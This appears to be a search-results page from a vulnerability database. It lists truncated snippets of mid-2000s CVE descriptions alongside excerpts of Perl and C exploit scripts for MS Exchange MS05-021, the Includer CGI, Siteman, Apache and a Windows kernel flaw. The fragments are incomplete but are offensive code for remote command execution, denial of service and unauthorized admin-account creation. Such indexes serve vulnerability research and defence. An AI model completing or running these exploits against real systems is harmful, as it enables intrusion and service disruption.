7544 matches found
MS Exchange Server Remote Code Execution Exploit (MS05-021)
Exploit for unknown platform in category remote exploits =========================================================== MS Exchange Server Remote Code Execution Exploit MS05-021 =========================================================== !/bin/perl MS05-021 Exchange X-LINK2STATE Heap Overflow Author...
Microsoft Exchange Server - Remote Code Execution (MS05-021)
!/bin/perl MS05-021 Exchange X-LINK2STATE Heap Overflow Author: Evgeny Pinchuk For educational purposes only. Tested on: Windows 2000 Server SP4 EN Microsoft Exchange 2000 SP3 Thanks and greets: Halvar Flake thx for the right directions Alex Behar, Yuri Gushin, Ishay Sommer, Ziv Gadot and Dave...
CVE-2005-1036
The CVE-2005-1036 issue affects FreeBSD/amd64 5.x up to 5.4 where the IO permission bitmap was not properly initialized, allowing unprivileged local users to bypass access restrictions and potentially cause denial of service, disclosure of sensitive information, or privilege escalation. Relevant ...
PT-2005-2058 · Freebsd · Freebsd
Name of the Vulnerable Software and Affected Versions: FreeBSD versions 5.x through 5.4 on AMD64 Description: The issue allows local users to bypass intended access restrictions, potentially causing a denial of service, obtaining sensitive information, and possibly gaining privileges due to the...
CVE-2005-1036: Missing Initialization of Resource
FreeBSD 5.x to 5.4 on AMD64 does not properly initialize the IO permission bitmap used to allow user access to certain hardware, which allows local users to bypass intended access restrictions to cause a denial of service, obtain sensitive information, and possibly gain privileges...
The Includer CGI <= 1.0 Remote Command Execution (new version2)
Exploit for cgi platform in category web applications =============================================================== The Includer CGI .\n"; print STDERR "Exploitation Types:\n \t\t1: includer.cgi?|command|\n \t\t2: includer.cgi?template=|command|\n\n"; exit; if @ARGV 3 Usage; $host = @ARGV0; $pa...
CVE-2005-0204
Linux kernel before 2.6.9, when running on the AMD64 and Intel EM64T architectures, allows local users to write to privileged IO ports via the OUTS instruction...
CVE-2005-0204: Undefined Security Weakness
Linux kernel before 2.6.9, when running on the AMD64 and Intel EM64T architectures, allows local users to write to privileged IO ports via the OUTS instruction...
security flaw
Linux kernel before 2.6.9, when running on the AMD64 and Intel EM64T architectures, allows local users to write to privileged IO ports via the OUTS instruction...
Siteman 1.1.10 - Remote Administrative Account Addition
Siteman 1.1.10 - Remote Administrative Account Addition !/usr/bin/perl -w Exploit by Noam Rathaus - Beyond Security Ltd. Exploit for the SiteMan vulnerability discovered by: "amironline452" use Digest::MD5 qwmd5 md5hex md5base64; use IO::Socket; use strict; ./siteman.pl / vulnerable.host my $Path...
CVE-2004-2660
Memory leak in direct-io.c in Linux kernel 2.6.x before 2.6.10 allows local users to cause a denial of service memory consumption via certain ODIRECT direct IO write requests...
CVE-2004-2660
Memory leak in direct-io.c in Linux kernel 2.6.x before 2.6.10 allows local users to cause a denial of service memory consumption via certain ODIRECT direct IO write requests...
CVE-2004-2536
The exitthread function process.c in Linux kernel 2.6 through 2.6.5 does not invalidate the per-TSS iobitmap pointers if a process obtains IO access permissions from the ioperm function but does not drop those permissions when it exits, which allows other processes to access the per-TSS pointers,...
Secure Network Messenger <= 1.4.2 Denial of Service Exploit
No description provided by source. !/usr/bin/perl use IO::Socket; print "\nSecure Network Messenger Crasher by ClearScreen\n"; print "\nEnter host to crash: "; $h = STDIN; chomp $h; $socks = IO::Socket::INET-new Proto = "tcp", PeerPort = "6144", PeerAddr = "$h" or die "\nNo response from host.";...
CVE-2004-0782: Undefined Security Weakness
Integer overflow in pixbufcreatefromxpm io-xpm.c in the XPM image decoder for gtk+ 2.4.4 gtk2 and earlier, and gdk-pixbuf before 0.22, allows remote attackers to execute arbitrary code via certain ncol and cpp values that enable a heap-based buffer overflow. NOTE: this identifier is ONLY for gtk+...
CVE-2004-0783: Out-of-bounds Write
Stack-based buffer overflow in xpmextractcolor io-xpm.c in the XPM image decoder for gtk+ 2.4.4 gtk2 and earlier, and gdk-pixbuf before 0.22, may allow remote attackers to execute arbitrary code via a certain color string. NOTE: this identifier is ONLY for gtk+. It was incorrectly referenced in a...
CVE-2004-1683
A race condition in crrtrap for QNX RTP 6.1 allows local users to gain privileges by modifying the PATH environment variable to reference a malicious io-graphics program before is executed by crrtrap...
Apache - Arbitrary Long HTTP Headers (Denial of Service)
/usr/bin/perl exploit for apache apgetmimeheaderscore vuln adv is here: http://www.guninski.com/httpd1.html version: apache 2 newPeerAddr = $host,PeerPort = $port, Proto = 'tcp' || die "new error$@\n"; binmode$sock; $hostname="Host: $host"; $buf2='A'x50; $buf4='A'x8183; $len=length$buf2; $buf="GE...
Bug in IO bitmap handling? Probably exploitable (2.6.5)
Hello. The attached is the small program that tries to write 0x20 to port 0x20. Normally this should cause SIGSEGV, so the program should crash. I think there is a bug in the 2.6 kernels though, which makes it to not crash if some trivial conditions are met. Basically it seems that if any process...
xploit_dbg.cpp.txt
/ Discovered and coded Jan 25, 2004 Copyright C2004 [email protected] / include include typedef int NTSTATUS; define NTAPI stdcall const IA32SYSENTERCS = 0x174; const IA32SYSENTERESP = 0x175; const IA32SYSENTEREIP = 0x176; const SelCodeKernel = 0x8; const CmosIndx = 0x0E; // CMOS Diagnostic...